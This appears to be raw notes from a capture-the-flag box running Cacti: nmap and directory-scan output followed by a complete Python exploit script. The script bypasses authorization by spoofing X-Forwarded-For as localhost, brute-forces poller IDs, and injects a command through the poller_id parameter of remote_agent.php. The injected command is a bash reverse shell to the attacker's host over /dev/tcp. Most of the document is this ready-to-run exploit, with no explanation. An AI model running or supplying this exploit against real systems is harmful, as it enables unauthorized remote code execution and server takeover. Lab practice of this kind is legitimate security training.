Nmap scan
# Nmap 7.93 scan initiated Wed May 31 08:46:03 2023 as: nmap -A -T4 -vvv -oN nmapscan_topports 10.10.11.211
Nmap scan report for 10.10.11.211
Host is up, received conn-refused (0.70s latency).
Scanned at 2023-05-31 08:46:05 EDT for 83s
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
| 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 4F12CCCD3C42A4A478F067337FE92794
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Login to Cacti
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
# Nmap done at Wed May 31 08:47:28 2023 -- 1 IP address (1 host up) scanned in 84.69 seconds
/images (Status: 301) [Size: 314] [--> <http://10.10.11.211/images/>]
/docs (Status: 301) [Size: 312] [--> <http://10.10.11.211/docs/>]
/scripts (Status: 301) [Size: 315] [--> <http://10.10.11.211/scripts/>]
/service (Status: 301) [Size: 315] [--> <http://10.10.11.211/service/>]
/plugins (Status: 301) [Size: 315] [--> <http://10.10.11.211/plugins/>]
/log (Status: 403) [Size: 276]
/install (Status: 301) [Size: 315] [--> <http://10.10.11.211/install/>]
/lib (Status: 301) [Size: 311] [--> <http://10.10.11.211/lib/>]
/resource (Status: 301) [Size: 316] [--> <http://10.10.11.211/resource/>]
/cache (Status: 301) [Size: 313] [--> <http://10.10.11.211/cache/>]
/include (Status: 301) [Size: 315] [--> <http://10.10.11.211/include/>]
/LICENSE (Status: 200) [Size: 15171]
/formats (Status: 301) [Size: 315] [--> <http://10.10.11.211/formats/>]
/CHANGELOG (Status: 200) [Size: 254887]
/locales (Status: 301) [Size: 315] [--> <http://10.10.11.211/locales/>]
/cli (Status: 403) [Size: 276]
/mibs (Status: 301) [Size: 312] [--> <http://10.10.11.211/mibs/>]
import requests, optparse, sys
import urllib
def get_arguments():
parser= optparse.OptionParser()
parser.add_option('-u', '--url', dest='url_target', help='The url target')
parser.add_option('', '--LHOST', dest='lhost', help='Your ip')
parser.add_option('', '--LPORT', dest='lport', help='The listening port')
(options, arguments) = parser.parse_args()
if not options.url_target:
parser.error('[*] Pls indicate the target URL, example: -u <http://10.10.10.10>')
if not options.lhost:
parser.error('[*] Pls indicate your ip, example: --LHOST=10.10.10.10')
if not options.lport:
parser.error('[*] Pls indicate the listening port for the reverse shell, example: --LPORT=443')
return options
def checkVuln():
r = requests.get(Vuln_url, headers=headers)
return (r.text != "FATAL: You are not authorized to use this service" and r.status_code != 403)
def bruteForcing():
for n in range(1,5):
for n2 in range(1,10):
id_vulnUrl = f"{Vuln_url}?action=polldata&poller_id=1&host_id={n}&local_data_ids[]={n2}"
r = requests.get(id_vulnUrl, headers=headers)
if r.text != "[]":
RDname = r.json()[0]["rrd_name"]
if RDname == "polling_time" or RDname == "uptime":
print("Bruteforce Success!!")
return True, n, n2
return False, 1, 1
def Reverse_shell(payload, host_id, data_ids):
PayloadEncoded = urllib.parse.quote(payload)
InjectRequest = f"{Vuln_url}?action=polldata&poller_id=;{PayloadEncoded}&host_id={host_id}&local_data_ids[]={data_ids}"
r = requests.get(InjectRequest, headers=headers)
if __name__ == '__main__':
options = get_arguments()
Vuln_url = options.url_target + '/remote_agent.php'
headers = {"X-Forwarded-For": "127.0.0.1"}
print('Checking...')
if checkVuln():
print("The target is vulnerable. Exploiting...")
print("Bruteforcing the host_id and local_data_ids")
is_vuln, host_id, data_ids = bruteForcing()
myip = options.lhost
myport = options.lport
payload = f"bash -c 'bash -i >& /dev/tcp/{myip}/{myport} 0>&1'"
if is_vuln:
Reverse_shell(payload, host_id, data_ids)
else:
print("The Bruteforce Failled...")
else:
print("The target is not vulnerable")
sys.exit(1)